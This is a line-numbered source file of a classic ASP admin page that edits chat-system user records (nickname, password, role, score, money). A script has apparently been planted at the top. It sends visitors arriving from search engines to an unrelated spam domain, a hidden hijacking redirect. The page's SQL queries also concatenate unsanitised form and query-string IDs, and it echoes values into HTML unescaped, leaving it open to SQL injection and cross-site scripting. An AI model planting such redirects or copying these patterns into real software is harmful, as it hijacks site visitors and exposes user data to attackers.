d:\wwwroot\wuchunhua\liaotianim\system_manage\EditUser.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
if request.form("Method")="ED" then
009:
ConfigRS.OPEN "select * from [XK_User_Info] where [User_ID]="&request.form("User_ID") , DB_CONN , 1 , 3
010:
ConfigRS("User_NickName")=request.form("User_NickName")
011:
if request.form("User_Pass")<>"" then ConfigRS("User_Pass")=md5(request.form("User_Pass"))
012:
ConfigRS("User_Sex")=request.form("User_Sex")
013:
ConfigRS("User_Mail")=request.form("User_Mail")
014:
ConfigRS("User_Pic")=request.form("User_Pic")
015:
ConfigRS("User_QQ")=request.form("User_QQ")
016:
ConfigRS("IsCheck")=request.form("IsCheck")
017:
ConfigRS("User_Power")=request.form("User_Power")
018:
ConfigRS("User_Add_Province")=request.form("User_Add_Province")
019:
ConfigRS("User_Add_City")=request.form("User_Add_City")
020:
ConfigRS("User_Note")=request.form("User_Note")
021:
ConfigRS("User_Score")=request.form("User_Score")
022:
ConfigRS("User_Money")=request.form("User_Money")
023:
ConfigRS("User_Title")=request.form("User_Title")
024:
025:
ConfigRS.update()
026:
ConfigRS.close()
027:
RW "<script>alert('修改成功!');location.href='User_Manage.asp';</script>":response.end()
028:
end if
029:
030:
function getPic(str,sex)
031:
dim DefaultPic
032:
if str<>"" then
033:
DefaultPic=str
034:
else
035:
if Cstr(sex)="0" then DefaultPic="../images/man.gif" else DefaultPic="../images/woman.gif" end if
036:
end if
037:
getPic=DefaultPic
038:
end function
039:
040:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&request.QueryString("UID"))
041:
042:
%
>
043:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
044:
<html xmlns="http://www.w3.org/1999/xhtml">
045:
<head>
046:
<title>ImChat v1.5 Manage System</title>
047:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
048:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
049:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
050:
<script language="javascript" src="../JS_Custom/pcasunzip.js"></script>
051:
<style>
052:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
053:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
054:
</style>
055:
</head>
056:
<body>
057:
<div class="contentcontainer">
058:
<div class="headings alt">
059:
<h2>用户编辑 <a href="javascript:history.back();" style="text-decoration:none;">返回</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a> 用户ID：
<%
=request.QueryString("UID")
%
> 注册时间：
<%
=ConfigRS("RegTime")
%
></h2>
060:
</div>
061:
<div class="contentbox">
062:
063:
<form action="#" method="post" >
064:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
065:
<tr>
066:
<td width="350">
067:
<label for="User_NickName"><strong>昵称:</strong></label>
068:
<input type="text" id="User_NickName" name="User_NickName" class="inputbox" value="
<%
=ConfigRS("User_NickName")
%
>"/>
069:
</td>
070:
<td>
071:
<label for="User_Name"><strong>登录账号:</strong></label>
072:
<input type="text" id="User_Name" name="User_Name" class="inputbox" readonly value="
<%
if Cint(ConfigRS("User_Type"))=1 then rw "QQ登录用户" else rw KLDecode(ConfigRS("User_Name"))
%
>"/>
073:
</td>
074:
</tr>
075:
<tr>
076:
<td>
077:
<label for="User_Pass"><strong>密码(<font color="red">*</font>不修改请留空):</strong></label>
078:
<input type="text" id="User_Pass" name="User_Pass" class="inputbox" value=""/>
079:
</td>
080:
<td>
081:
<label for="User_Score"><strong>积分:(数字)</strong></label>
082:
<input type="text" id="User_Score" name="User_Score" class="inputbox" value="
<%
=ConfigRS("User_Score")
%
>"/>
083:
</td>
084:
</tr>
085:
<tr>
086:
<td colspan="2">
087:
<label for="User_Money"><strong>金钱:(数字)</strong></label>
088:
<input type="text" id="User_Money" name="User_Money" class="inputbox" value="
<%
=ConfigRS("User_Money")
%
>"/>
089:
</td>
090:
</tr>
091:
<script>
092:
function AddTitle()
093:
{
094:
var Re=true;
095:
var arr=document.getElementById('User_Title').value.split(',');
096:
for(var c in arr)
097:
{
098:
if(c==document.getElementById('Titles').value || document.getElementById('Titles').value==document.getElementById('User_Title').value)
099:
{Re=false;}
100:
else{Re=true;}
101:
}
102:
if(Re)
103:
{
104:
var space='';
105:
document.getElementById('User_Title').value.length>0?space=',':space='';
106:
document.getElementById('User_Title').value+=space+document.getElementById('Titles').value;
107:
}
108:
}
109:
</script>
110:
<tr>
111:
<td colspan="2">
112:
<label for="User_Title"><strong>头衔:</strong></label>
113:
<input type="text" id="User_Title" name="User_Title" class="inputbox" value="
<%
=ConfigRS("User_Title")
%
>"/>
114:
<select id="Titles" name="Titles" style="width:200px;">
115:
<%
116:
dim GPRS
117:
set GPRS=Server.CreateObject( "ADODB.Recordset" )
118:
set GPRS=DB_CONN.EXECUTE("select * from [XK_Title] order by [Title_Sort] desc")
119:
while not GPRS.eof
120:
RW "<option value='"&GPRS("Title_ID")&"' "&Selected&" >"&GPRS("Title_Name")&"【"&GPRS("Title_ID")&"】</option>"
121:
GPRS.movenext()
122:
wend
123:
%
>
124:
</select>
125:
<a href="javascript:AddTitle();">增加此头衔</a>
126:
</td>
127:
</tr>
128:
<tr>
129:
<td width="350">
130:
<label for="User_Sex"><strong>性别:</strong></label>
131:
<select id="User_Sex" name="User_Sex">
132:
<option value="0"
<%
if Cstr(ConfigRS("User_Sex"))="0" then RW "selected=""selected"""
%
>>男</option>
133:
<option value="1"
<%
if Cstr(ConfigRS("User_Sex"))="1" then RW "selected=""selected"""
%
>>女</option>
134:
</select>
135:
</td>
136:
<td>
137:
<label for="User_Mail"><strong>邮箱:</strong></label>
138:
<input type="text" id="User_Mail" name="User_Mail" class="inputbox" value="
<%
=ConfigRS("User_Mail")
%
>"/>
139:
</td>
140:
</tr>
141:
<tr>
142:
<td width="350">
143:
<label for="User_Pic"><strong>头像:</strong></label>
144:
<input type="text" id="User_Pic" name="User_Pic" class="inputbox" value="
<%
=ConfigRS("User_Pic")
%
>"/>
145:
</td>
146:
<td>
147:
<img src="
<%
=getPic(ConfigRS("User_Pic"),Cstr(ConfigRS("User_Sex")))
%
>" width="100" border="0"/>
148:
</td>
149:
</tr>
150:
<tr>
151:
<td width="350">
152:
<label for="User_QQ"><strong>Q Q:</strong></label>
153:
<input type="text" id="User_QQ" name="User_QQ" class="inputbox" value="
<%
=ConfigRS("User_QQ")
%
>"/>
154:
</td>
155:
<td>
156:
<label for="IsCheck"><strong>状态:</strong></label>
157:
<select id="IsCheck" name="IsCheck">
158:
<option value="0"
<%
if Cstr(ConfigRS("IsCheck"))="0" then RW "selected=""selected"""
%
>>正常</option>
159:
<option value="1"
<%
if Cstr(ConfigRS("IsCheck"))="1" then RW "selected=""selected"""
%
>>禁用</option>
160:
</select>
161:
</td>
162:
</tr>
163:
<tr>
164:
<td>
165:
<label for="User_Power"><strong>角色:</strong></label>
166:
<select id="User_Power" name="User_Power">
167:
<%
168:
set GPRS=Server.CreateObject( "ADODB.Recordset" )
169:
set GPRS=DB_CONN.EXECUTE("select * from [XK_Power] order by [Power_Sort] desc")
170:
while not GPRS.eof
171:
dim Selected
172:
Selected=""
173:
if Cstr(GPRS("Power_ID"))=Cstr(ConfigRS("User_Power")) then Selected="Selected='selected'"
174:
RW "<option value='"&GPRS("Power_ID")&"' "&Selected&" >"&GPRS("Power_Name")&"</option>"
175:
GPRS.movenext()
176:
wend
177:
%
>
178:
</select>
179:
</td>
180:
<td>
181:
<label for="User_Add_Province"><strong>城市:</strong></label>
182:
<select style="width:auto;" id="User_Add_Province" name="User_Add_Province"></select> <select style="width:auto;" name="User_Add_City"></select>
183:
<script>
184:
<%
185:
if ConfigRS("User_Add_Province")<>"" then
186:
%
>
187:
new PCAS("User_Add_Province","User_Add_City","
<%
=ConfigRS("User_Add_Province")
%
>","
<%
=ConfigRS("User_Add_City")
%
>");
188:
<%
189:
else
190:
%
>
191:
new PCAS("User_Add_Province","User_Add_City");
192:
<%
193:
end if
194:
%
>
195:
</script>
196:
</td>
197:
</tr>
198:
<tr>
199:
<td colspan="2">
200:
<label for="User_Note"><strong>签名:</strong></label>
201:
<textarea id="User_Note" name="User_Note" rows="5" cols="100">
<%
=ConfigRS("User_Note")
%
></textarea>
202:
</td>
203:
</tr>
204:
<tr>
205:
<td colspan="2">
206:
<input type="hidden" value="
<%
=request("UID")
%
>" name="User_ID"/>
207:
<input type="hidden" value="ED" name="Method"/>
208:
<input type="submit" value="修改" class="btn" />
209:
</td>
210:
</tr>
211:
</table>
212:
</form>
213:
</div>
214:
</div>
215:
</body>
216:
</html>
217:
218:
219: